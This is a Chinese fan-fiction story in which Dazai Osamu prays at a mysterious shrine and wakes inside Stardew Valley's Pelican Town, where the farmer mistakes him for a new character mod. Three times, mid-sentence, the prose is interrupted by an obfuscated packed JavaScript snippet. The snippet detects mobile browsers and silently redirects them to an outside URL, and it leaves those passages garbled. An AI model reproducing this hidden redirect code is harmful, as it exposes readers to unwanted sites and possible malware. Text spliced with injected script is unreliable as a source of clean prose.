《喜欢上新mod是人之常情吧!》 1. 传说中的小镇 “你也做了那个梦吗?” “啊,原来你也是啊,” 被拍到肩膀的中年人先是警惕,随后恍然大悟地笑起来,带着那份独有的默契感, “但你上次说的是小城镇,我可是直接落在了沙漠里啊。” “沙漠?那很少见了,大多数人都是在小镇上。我之前还听说有随机掉落到海岛边的,真是神奇啊。” “不过不管是那个落点,每次做完那个梦都会觉得神清气爽,连精神都安宁了下来。” “几乎能让人忘记这纷杂错乱的世界,还真是厉害啊,” 他们,以及许许多多的他们这么说道, “——那间神社。” “太宰君知道吗?” 港口mafia最高层的首领办公室,坐在那中心的,仿若黑暗本身的中年人手肘抵在桌面上,十指交叉, “最近,下面的人流传着一则很火的传言。” 被喊来的少年耷拉着死鱼眼,整个人像一根没有骨头的面条有气无力地听着他讲话。 森鸥外对这个表情已经习以为常,继续说道, “横滨的西面有一座山,山里供奉着不知名的神社。在那座神社祈祷,夜间就会进入没有任何烦恼的桃花源。” 太宰的眼珠终于动了动,慢吞吞地转了一圈,没干劲地回答: “反正是什么奇奇怪怪的异能吧,森先生难道还要剥夺别人做梦的权利吗。” “如果没造成什么影响,我也不会放在心上……但这确实扰动了不少人心,就我所知,部下的夜间加班积极度最近都有大幅度下降,这可对我们会社的发展不利啊。” “压榨人的屑老板。” 森鸥外假装没听见这句评价,脸上的笑容反而更深了: “总之,这件事就拜托你了,太宰君。究竟只是个普普通通的幻梦,还是什么试图从内部瓦解组织的敌人呢?——用你的眼睛去查证吧。” 太宰治重重地、重重地叹了口气。 “我讨厌干活……” 但他稍微用了点功夫,还真打听出来,这居然不是一个小范围内的流言,而已经逐步扩展成不少人心知肚明的一件事,或者说—— 他们称之为“神迹”。 “神?” 少年靠在酒吧的角落里,手指漫无目的地转着一枚五元硬币,嘴里将那个字反复咀嚼, “真的有那种家伙存在,居然只是为了让人享受安宁的乡下生活,而不是去掀起战争,或者获取信仰什么的吗?” 他想了想,面上露出了好奇的,像是见到什么新鲜玩意的表情, “去见见吧。” 太宰治很熟悉那座山。倒不是因为什么贴近自然这种正常的理由,而是因为那座山上经常能找到颜色各异的缤纷蘑菇,一个不注意人就能进入奇幻的世界。 如果再不注意一点,或许就可以直接实现永恒无痛的安眠——虽然托他这顽强生命力的福,他还没有过成功的机会。 但他之前确实没在这座山上看到过什么神社。或许是那种放置在路边、偶尔不会注意到的小型神龛?又或许是某种异能障眼法? 少年哼着不成调子的曲调来到山脚下,抬头望了望。 横滨的山并不高,哪怕是不怎么运动的普通人,轻轻松松一小时也能爬到山顶。只是他按照惯常的主路线一路向上,结果到了山顶,转了一圈,也没有发现任何神社的踪迹。 “啊咧……普通来想,不应该都是在山顶吗?” 没有人回答他。风从山的那一头吹过来,把树叶吹得沙沙响。 即使山势不高,这样来来回回下去几趟,四处寻找也是很累人的。太宰治装模作样地张望了几眼,决定先找个地方坐下来休息一会。 就在这片刻的空隙,山林里起雾了。 先是丝丝缕缕的雾气从树林的缝隙里渗出来,随后那白雾便越来越大,逐渐笼罩了整片山林,就连阳光也被遮挡的消失殆尽。 少年饶有兴致地观看着那雾气如呼吸般蔓延了他视野所在的所有区域。随后站起身,舒展了一下身体,抬起脚,不紧不慢地向山下走去。 失去了最主要的光源,脚下的一切细节反而变得越发清晰。太宰治低着头,漫不经心地踢着路边的石子,从古老的石阶下拾梯而下。 “……嗯?” 大约走了十几分钟,少年突然发出了疑惑的轻哼。 他的视线看向石板路边,那里有一条不太明显的小径,被半人高的草丛遮掩着,若不是刻意去看,很容易就会错过。 那条小径上的草被踩得东倒西歪,泥土上有不少新鲜的脚印,像是最近有不少人从这里经过。 会是这里吗? 这个方向…… 太宰治垂眸思索了片刻,察觉这条小路应该是通向山后腰处的区域,那边和山顶的观景处有山石阻碍,从山顶的观景台完全看不到。 他顺着那条小径走进去。没多久,脚下逐渐传来与泥土不同的坚硬的触感。 不知什么时候,脚下的路已经从泥土地变成石板路。他看着前方绵延不断的向上的道路,内心再次校准了一次方位,果然是山顶方向看不到的那片区域。 他继续往前走。 又走了几分钟,前方终于出现了暗红色的鸟居。那鸟居的颜色已经斑驳了,漆面剥落得厉害,露出底下灰扑扑的木头。 大概因为长期没有人来往,这里的一切都雾蒙蒙的笼了一层灰,在雾气中更是若隐若现,添加了几分破败的神秘感。 太宰治安静了下来。 在岛国的传说中,越过鸟居,便意味着已进入了神明的居所。他抬步上阶,脚步更轻了些。 顺着参道向前,左手边和其他神社一样设有手水舍,那是一座不大的石制水槽,边缘长着青苔,但里面的水却意外地清澈。 太宰治在手水舍前停下,拿起旁边竹制的舀子,按照正常的礼仪净手,冲洗完毕,他转身面对着正殿。 这间神社占地并不大,绘马挂处空落落的,正殿旁的狛犬像也斑驳了,看不出原本的棱角。 而神社里最常见的,四处悬挂的注连绳更是松松垮垮,不少都已经开裂。 就是这样一座破败的神社,可以让那么多人陷入安宁的梦乡? 太宰治嘴上没有质疑,只是安静的走到了主殿前,从口袋里掏出几枚五元硬币——那还是他刻意在走之前找人换的。 他站在赛钱箱前,微微仰头看了一眼正殿深处。那里光线昏暗,看不清供奉的是什么,只能隐约看到一块模糊的影子。 按照惯常的流程,少年往带木条格的箱子里扔入零钱,拍了拍手,双手合十: “唔,祈祷些什么呢……” 少年的声音轻轻的,像是在自言自语,又像是在和什么人说话。 他想了想,嘴角微微弯起来,露出一个说不上是认真还是玩笑的表情: “就祈祷我可以拥有无痛的永恒安宁吧。” 那硬币在他的视线中跳动了几下,打了几个转,最后从缝隙中落入深不见底的箱中。 什么都没有发生。 这样祭拜的流程便完成了。如果和他打听的不错,接下来他只要等到晚上,就应该能进入那个能让人发自内心感到精神放松的梦乡—— 如果那不是异能的副作用产物的话。 这时太宰治看了看时间, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471703|201516||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才发现已经不知不觉到了傍晚。 是的,虽然这人嘴上说着“好不想干啊”“一点工作都不想做”,但实则从上午接到命令到调查流言,再到找到这座神社,也就是当天的事。 短短几个小时就已经找到了传言的发散点,不知道该不该夸赞一句双黑之一的效率确实很高呢。 “在哪里睡不是睡,” 少年嘟囔了一句,将视线停留在廊下那片勉强称得上干净的区域, “如果在这里休息的话,神明也能更加感受到我的诚意吧?嗯嗯,说不定马上就能梦到了呢,无痛的安眠之乡,永恒的温暖国度,何等令人向往——” 神社檐下的铃铛轻轻响了起来。 太宰治回头看了一眼。铃铛安安静静地挂在原处,看起来没有任何异常。 “……嘛。” 少年收回视线,在廊下坐下来。他靠着旁边的木柱,把双腿伸展开来,整个人懒洋洋地摊在木地板上。 反正回到集装箱也好,干部的公寓也好,还是这里也好,入眠的地方又有什么区别呢? 他的眼皮开始发沉。 晚风从山林里吹过来,带着草木和泥土的气息,铃铛发出细碎的声响,像某种古老的摇篮曲。 太宰治闭上眼睛。 在微风的吹拂和铃铛的轻响中,他的呼吸渐渐平稳下来。 ……你的愿望,已经确实收到了。 无形的声音如此在雾气中呢喃。 在古老的传说中,连接的注连绳意味着结界,可以分隔神域和人间。 而反之,当注连绳断裂时,这片区域的界限也会混淆。 雾气从神社的每一个角落涌出来,少年的身影被白雾一点一点地吞没。 太宰治腰酸背痛地从地上醒来。 他皱着眉睁开眼睛,发现自己正仰面朝天躺在木地板上。木质的天花板毫无装饰,似乎只是毛坯。 少年眨了眨眼,慢慢坐起来。 脖子疼,后背疼,腰也疼。睡地板果然不是什么好主意,就算是他这种对睡眠环境毫无要求的人,也觉得浑身不得劲。 他一边活动着僵硬的脖子,一边环顾四周。 这是一间空无一物的屋子。 四面墙壁是浅色的木墙板,没有窗户,只有一扇关着的门,地板是浅色的木质地板,但除此之外就没有其他的了。 太宰治的眼底闪过一丝冷意。 在神社入睡后,却在一间空无一物的木屋中醒来——如果他只是一个普通人,或许会以为这不过是场梦境。 但这次的对象是一位直觉异常敏锐,可以无效化所有异能的□□干部。 如果这真是敌人的计策,那这样的敌人确实不容小觑。 那眼底的冷意还未消散,门口便传来了敲门声。 在空旷又安静的房屋外,有人在敲门。 简直是恐怖片的最佳开头。 太宰治脑海中几乎是瞬间便跳出无数个设想。他摸了摸浑身上下,竟然没有一样可以称之为武器的东西。看着手中的五元硬币,少年盯着那扇门沉默了片刻,还是走到门口转动把手,拉开了门。 与他想象中不同的,外面是个大晴天,几乎在拉开门的瞬间就能闻到大自然的芬芳气息。 而门口站着一位少女,看她的动作,敲门的人应该是她没错了。 对方比他矮了半个头,工装裤脚还沾着泥点,脸上带着运动过的红晕,眼睛明亮又干净,视线在落在他脸上的时候更是闪过一丝惊艳,太宰治还没开口,她已经兴奋地喊了起来: “哦哦!不愧是我看中的新mod!这个建模也太绝了!” ……她在说什么? 2. 鹈鹕镇的新人 被那毫不掩饰的热烈和真诚灼伤一般,少年手指微微一颤。 还没等太宰治反应过来,对方已经急不可耐地向他的房间内冲去。他下意识地侧身挡在门口,于是两人就这么进行了第一次激烈的身体接触。 少女左挤挤右挤挤,以绝对的力量终于从某个缝隙里成功突围,顺带着把他整个人向后推进了房间。她好奇地在房屋内四处打量,随后露出了不可置信的表情: “什么啊?竟然什么都没有,这作者到底是怎么想的,不会是忘设置了吧,明明建模这么用心的——!” 少女的目光最后落回到他身上。她盯着那张漂亮又带着脆弱感的少年面庞,像是下定了什么决心。 太宰治太习惯这种眼神了。 虽然不能说是本意,但有时面对年长的女性谈判对象时,这张脸确实很能为谈判加分。这次显然也不例外,被喜爱的容貌晃了眼,少女那些犹豫也很快全然消失。 “等等我!我马上回来!” 还没等他说些什么,她已经如旋风一般消失在门口。 太宰治站在原地,等了三秒钟,确认她不会突然折返,才慢悠悠地走出门。 他所在的这间小屋坐落在湖边。脚下是柔软的草地,周围是郁郁葱葱的森林,前方则是笼罩着淡淡雾气的湖水—— 如果真的有神明的话,还真是给他安排了一个绝佳的观景房。 “五元就做到这种地步吗……还真是一位慷慨的神明啊。” 他轻声呢喃着,没走多远,只是站在小屋前不远处的湖边,静静地等了几分钟,很快就听到一个声音远远传来。 “不好意思久等了——!” 太宰治转过头。 “我用斧子把它劈下来了!” ……把什么劈下来了? 少年怀疑自己听错了。他挂着那副惯常的礼貌假笑,朝声音传来的方向望去。 然后他的笑容凝固了一瞬。 从远处箭步走来的是一个奇怪的不明形状的物体。背光的时候看不清晰,只能勾勒出一个巨大的不规则的剪影。 直到走近,少年才意识到那是什么—— 那是刚刚和他搭话的少女以及她肩膀上扛着的一个巨大的几乎和她等高的,底座四四方方,上面像是架着一本书的奇怪物品的组合。 少女脚步轻盈,眼神发亮,连一滴汗都没出,径直走到他面前伸手就要将那东西端下来递给他,脸上还带着灿烂的笑容: “送你!不对,你会用吗?” 太宰治在她靠近后再次确信了那确实是一个实心家具,他看着那异常沉重的物品,沉默了片刻才问: “……这是什么?” “是家具目录!我不知道你自己喜欢的风格是什么,但是有了这个,你就可以自己无限选择自己小屋的装修风格了!” 她说着,又把肩上的东西往上颠了颠,换了个更舒服的姿势扛着,朝太宰治的方向又递了递。 太宰治没有伸手。 主要是他觉得这玩意看起来和它外表所展现的一样笨重。 自己在梦里骨折这种事听起来有点太搞笑了,如果真的发生了,绝对会被小矮子嘲笑到死。 因此他只是礼貌地指挥着对方把它放到墙边: “谢谢,放在这里就行。” 少女爽快地答应下来,哼哧哼哧地把那“目录”放在了他指定的位置,然后转过身来,眼睛继续亮晶晶地看着他。 一秒。 两秒。 三秒。 少女的表情从期待慢慢变成了疑惑。好像没有得到什么她想见到的结果,于是她垂头丧气地叹了口气,肩膀也跟着垮了下来: “也对……正常谁会送家具目录啊,不涨好感度也是合理的。但我这不就白白浪费了一次送礼机会吗……” 太宰治没有追问,只是挂着假笑,礼貌地把过度具有同理心,前前后后想要插手帮忙的少女赶了出去。 她太话痨了。 何况,零零散散的线索也串起来了。 啊,说起来,似乎还没有做过自我介绍? 算了,等下次再见面的时候再说吧。能让一般人不会因为这种事而生气,做到这样的程度对他而言根本不值一提。 更何况。 ——这里,不是现实世界吧? “好感度”、“作者”、“建模”…… 对一位掌机爱好者来说,这可真是太有意思了。 农场主是个早六晚二友好作息的勤恳老黄牛。 在继承了爷爷的农场后,她更是恨不得把“农场主”这三个字焊在身上。仿佛要所有人在认识她的第一瞬间就能恍然大悟,“哦,原来你就是那个继承了一片超大农场的农场主啊!” ——这种感觉。 尽管鹈鹕镇永远都有下一个春天,这里的生活平和又悠闲,没有什么所谓的kpi和绩效可言,但农场主依旧焦虑地在一开始继承农场的时候砍树砍到昏迷。 ……那份焦虑很快就终止于高昂的医疗账单。 偶尔农场主很想对哈维医生说,大半夜不要私自闯入别人的私人领地,昏迷在地里和昏迷在门口还有昏迷在床边对她而言没什么区别。 但账单不会这么说。 后来农场主一路披荆斩棘,敲石头除草开垦荒地,喂鸡养牛承包鱼塘,下矿砍怪如喝白开水,遇到岩浆也能面不改色地坐在岸边甩出鱼竿。 那一刻,农场主顿悟了—— 烤好的岩浆鳗鱼真挣钱啊。 不仅如此,她还积极关怀村里老弱病幼残,致力于满足所有人的虚求,更是风雨无阻地为镇上所有居民的生日都献上不一定符合心意但绝对新鲜的农产品伴手礼。 所以截止来到鹈鹕镇一年整的时候,镇上的人对她的好感度最低也突破了四星。 勉勉强强在经营农场方面踏入正轨,对四季种植和鱼类也熟稔于心的农场主,春风得意的农场主决定顺便追求一下爱情,以实现她想象中“成功人士的功成名就”。 人生的追求莫过于此嘛。 农场主将目光投向了全村最忧郁的诗人艾利欧特,以及经常去的杂货店店主的女儿阿比盖尔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471704|201516||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 人不能把鸡蛋放进一个篮子。而她只是一个可怜的、遵循一夫一妻制的、想要一个温暖家庭的农场主——农场主又能有什么错呢? 当然,更重要的一点是艾利欧特远在海边,就算是镇民也很少一股脑踏足那里,这样的话,完全不会暴露! 就这样凭借着每周送两次礼物的惯例流程,艾利欧特的告白还是先阿比盖尔一步触发了。 农场主难道会拒绝吗? 不,她当然不会,她能做到的就是揣上自己从鸡舍里捡到的幸运兔脚,开始更频繁地在两人之间严格地每日打招呼刷好感度。 艾利欧特依旧比阿比盖尔更早一步。农场主从皮埃尔手中买了一束花,反手口送给了艾利欧特。 但阿比盖尔,可怜的阿比盖尔,她怎么舍得让一位愿意陪着她打游戏甚至想要一起下矿探险的女孩失望呢? 天啊,她该不会是世界上唯一一位对两个人同时动心的人吧? 农场主急得团团转。 她这么上心地琢磨了一段时间,还真被她找到了传说中的人鱼小姐。人鱼小姐表示她有相关道具,买下道具就可以实现她组建温暖大家庭的美梦。 凭借着丰厚的实力,农场主爽快地买了下来。并且迫不及待地决定先和艾利欧特结婚——据说结婚之后她的房屋就能再多拓展一间。 而这位英俊的长发青年也确实满怀欣喜地答应了下来。 这下,农场主将在三天后在鹈鹕镇中心的广场举办婚礼的事,瞬间就传遍了整个小镇。 结果就在他们定好婚期的第二天,农场主在n网上,看到了一个一眼就令人心动的人物mod。苍白的面庞,略带忧郁和破碎感的少年,黑色微卷的头发,带着些许厌世感的表情。 ……是农场主无法抗拒的类型。 她迫不及待地加载了这个mod,第二天一大早就蹲在了据称是对方出生点的湖边新建小屋门外。 虽然一开始的互动相当冷淡,但农场主向来不把这点小事放在心上,只是看到对方小屋里空无一物的时候,还是对此疑惑了片刻。 看外形,制作人应该是花了大心思的,但怎么能在关键的房屋处完全丢失细节呢?这么说,连对方的背景故事也都没有写啊。 可能是要保持好奇心和神秘感? 将自己房间的家具一件件端过来有些太麻烦了,于是农场主花了大价钱又去买了本家具目录,直接送货上门到对方的小屋内。 不过,按照之前游戏的判定,似乎还没有一个人的好感礼物会是家具目录吧…… 没有收获到好感度增加的提醒,农场主也不懊恼,即使最后被赶出门,她也只是在小本本上记录: 星期三,截止下午五点,是新角色的房屋开放时间。 嗨,她之前堵在艾利欧特门前经常等不到人,她都已经习惯了,这点小事算什么。 回去继续做蛋黄酱和牛奶,哼哧哼哧侍弄自己的大片土地的农场主心满意足地想着。 ——接下来就主攻新角色,争取把他第三个带到自己温暖的大家庭吧。 3. 农场主就是农场主 太宰治完全不知道他竟然还是被当做第三个刷好感的目标来看待的。 他在确认少女确实走远了之后,试用了名为家具目录的物品,发现相当好用。手放在上面,就会显示不同的装饰风格,只要随心轻轻点击一下,在确认好的区域内就能直接一键换好,就像是魔法,或者是…… 游戏。 看着新增的家具和窗户,以及与刚刚完全不同的装饰壁纸,太宰治的嘴角慢慢地弯了起来。 能让自己也顺利进入的游戏吗?真是太有意思了。 折腾了一会,马马虎虎把这里装成勉强能住的样子,太宰治出了门。 他想看看这个世界到底有多大。 离他不远处就有一栋小屋,外面还圈着一小片牧场,几只牛在里面悠闲的吃草。 再沿着石板路向前,没走多久,他就来到了一片应该是镇子中心的区域。居民的房屋一栋挨着一栋,有几个小孩好奇地打量着他,没有靠近。 直到有个足球咕噜咕噜地滚了过来,在他脚边停下,一位看起来和他差不大的金发少年气喘吁吁跑过来捡起球,对上太宰治的目光,愣了一下,然后露出一个爽朗的笑容: “新人?” 太宰治想了想自己的情况,点了点头。 “哟,你好啊,我叫亚历克斯。这座小镇很少有新人呢,前一个是农场主吧,她可是我们这的有名人,你也要加油啊!” 这个金毛看上去很好打听消息的样子。 太宰治没费多少功夫就从对方嘴里打听清楚了这里的大概情况。 这里名为鹈鹕镇,小镇居民不是很多,民风淳朴,外来人也很少,上一个新面孔还是那位农场主。 ——就是刚刚主动找他的那位少女。 “她叫什么名字?” 太宰治问。 “农场主啊。” 太宰治以为自己听错了。 “农场主?” “对啊,就是农场主。” 亚历克斯理所当然地重复了一遍,好像在说一件天经地义的事, “大家都这么叫她。她自己也没说过别的名字,所以应该就是叫农场主吧。” 是的,农场主的名字就是农场主。 据说她是从大城市因为压力太大回乡,自己的爷爷去世,继承了爷爷的农场所以留在这里的。 一些人最开始对她还有点微词,但是随着农场主逐渐带来更多的优质作物,在各项活动中都能拿到优胜,还时不时塞给所有人礼物,有什么委托也会第一时间完成,甚至自发修复起早已不用的社区中心…… 诸如种种,不一而足。 “鹈鹕镇很多漂亮小姑娘小伙都很喜欢她,只可惜,农场主再过两天就要结婚了,对象还是那个怪胎艾利欧特……真不知道他有什么好的。” 亚历克斯不满地嘟囔了一句,全数落入了旁听的太宰治的耳中。 ——看来面前这位也是其中一位败犬。 太宰治迅速下了判断,虽然暗恋者对暗恋对象的描述通常会添加许多不切实际的美好滤镜,但基本的事实是不会改变的。 那位农场主……就连名字也这么奇怪,这里的古怪也有她一份原因吧? 天色渐渐暗了下去,亚历克斯朝他告别,太宰治看着空荡荡的街道和昏暗的环境,还是决定先返回自己的出生点,确认一下究竟有什么办法能离开这里。 方法比他想象中要简单。 当他躺在那张由家具目录带来的床上时,眼前一黑—— 再次睁开眼,带着冷意的山风先比视觉更早一步传到了他的感知中。 回来了? 太宰治向周围张望,不动还好,一动自己的颈椎就发出了艰涩的咔咔声,少年的动作僵了僵,随后试图站起身。 ——这下全身上下都在发声了。 什么嘛,这种宛如森先生才会出现的症状。 也就在刚刚的举动中,他确认了,这里的确是神社内。陷入梦乡的时候他是以一个很别扭的坐姿入睡的,以至于现在骨头在不堪重负地抗议。 这里依旧安宁。微风吹过,树叶沙沙作响,在夜间山野之中本该觉得有些可怖,但在这里,在这座神社的范围内,只有一种安宁的感觉涌上心头。 难怪那些蠢货部下会迷上这种状态。 太宰治想。 对□□来说,脑袋就是别在腰间的东西,随时可能丧命,提心吊胆是常态。而高强度高压下的神经,在这样安宁的梦乡中可以得到抚慰,像是回到了原初的怀抱中,整个人从骨子里都轻松多了。 当然,太宰治的骨头不一样,它们在严正抗议。 不过还有一点有意思的,虽然有那么多人都进入过那个名为鹈鹕镇的地方,但是,从亚历克斯的反应来看,似乎只有他,被称作是“新来的镇民”。 总不能是那些人都欠缺了“在神社里睡一晚上”这种先决条件吧?还是说…… 那些抽丝剥茧的分析,最终终结于一个难以忍耐的, “阿嚏——!” 太宰治进了医疗室。 虽然这种事并不少见,但是病因是被动而非主动造成的高热这点非常少见。 他的死对头中原中也听闻了这件事,特地在任务结束后专程绕路去医疗室嘲讽他,虽然中原中也在言语上没讨到好,但是看着对方病恹恹的样子就感觉自己大胜了一场,直到向森首领汇报的时候,这份好心情都没有消散。 而森鸥外在听完中原中也的任务汇报后,因为对方那份明显的好心情而多问了一嘴。在听到太宰治的消息时也不由挑了挑眉: “真是难得啊,太宰君竟然会好好在医疗室里待着。” 他想了想,又补了一句,像是在自言自语: “我有没有叮嘱过医疗部的人,在太宰君在的时候要把危险的药品藏起来呢?” 那自然是没有的。 但今天太宰治的异常不止“会乖乖接受治疗”这一点。在森鸥外难得闲下来良心发作打算去看看他的弟子的情况时,他发现少年竟然异常安静地就那样躺在病床上,没有捣乱,没有阴阳怪气,更没有像之前那样将升压药和降压药混在一起准备喝下去。 ——那次森鸥外至今记忆尤深,他的血压在那几分钟里飙到了职业生涯最高点。 但今天竟然真的什么都没有发生? 刚一脚踏入病房的森鸥外又缩回了那只腿,朝窗外张望了下。 “别看了,太阳没打西边出来,森先生也没有老年痴呆,世界也没有快毁灭——虽然我是这么期望的。” 少年有气无力的声音从最里面的病床上传来。 森鸥外嘴唇动了动,还没等他说什么,对方又紧接着说道: “至于我呢,更没有中什么毒或者患上什么无药可救的毛病。” 还是一如既往呛声的小兔崽子的模样。 森鸥外把心放下了些,走到他的病床边拉过一把椅子坐下: “现在感觉如何?” “还活着,” 太宰治的声音闷闷的从被子里传出来, “糟糕透了。” “要好好休息,不要经常入水啊,太宰君,我知道你的那些小爱好,但是这个天气在水里呆那么久肯定还是不行的吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471705|201516||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太宰治撇撇嘴,发出一声不屑的“嘁”: “算了吧,得到中年大叔的关心也不会对我的病情造成什么好转,倒不如说我受到了更大的精神攻击,马上就要因此病入膏肓了。” 森鸥外看着他的样子,没有接话,他突然伸出手,以迅雷不及掩耳之势放在了对方的额头上。 少年露出了痛苦的表情,但森鸥外只是叹了口气。 “……太宰君,” 森鸥外一言难尽地说,掌心传来的温度比他预想的要高得多, “你真的烧过头了。” 他好歹也做过军医,战场上受伤的伤员最常出现的症状就是高热,即使当了几年港口mafia的首领,医生的技术和本能也没有退却,他几乎是瞬间就判断出太宰治的体温现在至少超出了三十九度。 “昨天上午见到你的时候还是很精神的啊,” 医疗室现在没人,森鸥外索性自己去柜子那里翻找着合适的药物,一边和他闲聊, “究竟是怎么突然……你去调查那些传言了吗?” “是啊,我这幅都能被小矮子踩上一脚的模样真是托森先生的福。怎么,良心突然发现了,决定少压榨一下我这位可怜的未成年人吗?” 森鸥外没有理会这句抱怨,继续问: “那调查有什么进展吗?” 他从药柜里拿出一个棕色的玻璃瓶,看了看标签,又拿起床尾的病历单对照了一下,点了点头。 “把这个药喝了。” 他走回床边,把药瓶和一杯温水放在床头柜上, “我看了病历单,刚才值班的人没给你开口服的药。” “不要——” “太宰君,你已经不是小孩子了,如果是因为药苦的原因,我想中也君知道绝对会狠狠地嘲笑你一顿吧。” 太宰治不情不愿地接过药和温水,混在一起皱眉喝了下去,才回答起他刚刚的问题: “说是有进展好呢,还是没有进展好呢。” 森鸥外发出了个疑惑的尾音。 太宰治沉默了片刻,大概是在回想什么,最后只是慢吞吞地说道: “……遇上了一个很热心的小姐。” 和前面的问题毫无关联的一句话,没头没尾的。 “太宰君也到了这个年龄啊。” 森鸥外一时不知道该怎么回答,犹豫了半晌,这么接话道。 大概是药效上来了,少年的眼睑一下一下地点着,向下沉了下去。见状,森鸥外摇摇头,站起身: “我先走了,你好好睡一觉吧,太宰君。我会让人在这段时间不去打扰你的。” 即使这时候问也得不出什么结果的……等他醒来之后再问吧。 森鸥外轻轻带上了门。 他回到办公室,再次将那些传言的相关情报又重新翻阅了一遍。 有人说遇到了奇怪的法师,有人说看到了史莱姆,还有人说碰上了美人鱼,那里没有死亡,没有硝烟,似乎如童话故事一般美好。 像是…… 那些无望于现实的成年人幻想出的, ——永无乡。 森鸥外站在窗前,目光落在远处的海面上。 会是真的存在的吗?还是集群意识下众口铄金的错觉? 如果他不是首领的话,大概会将这样的事当做玩笑,甚至自己也会抱有好奇吧,给人留下幻想的余地总是好的,那会让人充满希望。 但他是首领,对这种可能会动摇人心的事必须调查清楚,甚至—— 森鸥外的眼底闪过一道厉色。 完全清除。 4. 农场主的婚礼 这一觉睡得很沉。 太宰治已经很久没有过这么平静,甚至没有做过一个梦的漫长睡眠了。他厌恶无穷无尽的孤寂,又与它常常为伍,因此他的睡眠不多。 虽然理论上,睡眠与死亡近似,他应该更喜欢长眠的—— 但理论终究只是理论。 少年睁开眼。 这次没有苏醒在那间小木屋里,鼻尖是消毒水的气息,洁白的天花板和往日没什么区别。太宰治偏头看了看时间,发现他睡了整整一天,这已经是第二天了。 额头一片冰凉,旁边的吊瓶也已经拆掉,只剩下手上一小块医用胶带。 他甚至没有被中途的动静惊醒过。而且, ——这一晚没有梦到鹈鹕镇。 或者说,没有亲身抵达那个地方。 他的手指无意识地在被单上点了几下。 总不能还要回神社睡一晚上吧?最近还是春寒料峭的时节,在那边多待几个晚上他可能真的要直接陷入无痛的永眠了。 那样似乎听起来也不错的样子。 但是在这个谜题解开之前,还是稍微坚持一下比较好吧。 不过其他人不可能都会在神社过夜,但他们也会进入名为鹈鹕镇的地方,只是和他的身份不同,大概是作为“游客”这种类型登录上去的。 今晚再等等看吧,还没有摸清楚规律…… 太宰治面无表情地走出医疗室,转过一个拐角,脑海中还转着这些念头,就已经听到咋咋呼呼熟悉的声音在前面不远处炸开: “呦,青花鱼,今天不是从水里捞上来那湿漉漉的可怜模样了?” 中原中也靠在走廊的墙上,双臂交叉在胸前,幸灾乐祸地看着他。 太宰治抬起眼皮,想都不想就张嘴呛声: “啊,脑容量只有蛞蝓大小的小矮子当然不懂伟大的我的工作强度……” “哈?我早就和你说过了吧,我还会长高的——!” “好好,已经满十八岁还在生长期的小矮子——” “混蛋青花鱼……” 他们气势激烈地你一言我一语吵闹着,逐渐消失在走廊的尽头。 另一边,鹈鹕镇。 农场主第二天早早就蹲点到了新人物的门口,不停地试图推开门。 ——提示失败。 她甚至为此放弃了早上六点收作物和做农副产品! 整整在附近蹲点了九个小时,把周围新长出来的树全部砍了一遍,还钓了三小时鱼,捞上七八条鱼和一堆垃圾,结果什么人影都没看到的农场主灰溜溜地回去了,走之前还不忘在笔记上加了一条: 星期三,下午三点前没有出门。 写完之后,她盯着这行字看了一会,叹了口气: “算了,他总不可能永远不出门吧。” 她还得回去收拾地里呢。每天的事那么多,松露要捡,草莓要收,啤酒要酿,鸡蛋和牛奶也要及时做成成品…… 农场主嘀咕着,掰着手指一边算,一边不忘从口袋里拿出胡萝卜啃了一口,边走边想—— 等艾利欧特和她结婚后,给猫碗里加水之类的小事他应该会搭把手吧? 虽然才来了一年,这才是第二年的春天,但她的农场已经初具规模。鸡舍畜棚鱼塘菜地温室应有尽有…… 啊,说起来,还得抽空去一趟社区中心,还差几个献祭就可以彻底修好那里了。到时候还能获得什么奖励呢? 怀抱着这样的期待,农场主今天依旧辛辛苦苦地干到了凌晨两点才休息。 她倒在床上的时候,脑子里最后闪过一个念头,明天好像是…… 算了,想不起来了。 她翻了个身,被子一卷,下一秒就发出了均匀的呼吸声。 农场主完全忘记了,第二天是她结婚的日子这种事。 太宰治今晚在自己的住所处入睡。 怀抱着一丝说不清道不明的期待感,他硬是强迫自己晚上九点就躺在了床上。和以往完全不同的生物钟加上那份情感让他差点没睡着,还好太宰治对控制自己的身体有一点心得——好像也很少有人会刻意去练习这种技能,但他确实会。 放松身体,调整呼吸,逐渐抽离着纷杂的思绪…… 再次睁开眼时,映入眼帘的是木质的天花板。 回来了。 如果将这里想象成异世界或者什么游戏内,那这样的科技比现在至少领先了上百年,掌机都能让人上瘾到废寝忘食,更何况这种身临其境的真实体验? 太宰治兴致勃勃地从床上弹起来,推开房间的门向外走,迎面扑来温柔的微风,阳光正好,落在眼前的湖水上像是洒了一层金光。 让人不自主地心情就愉快起来。 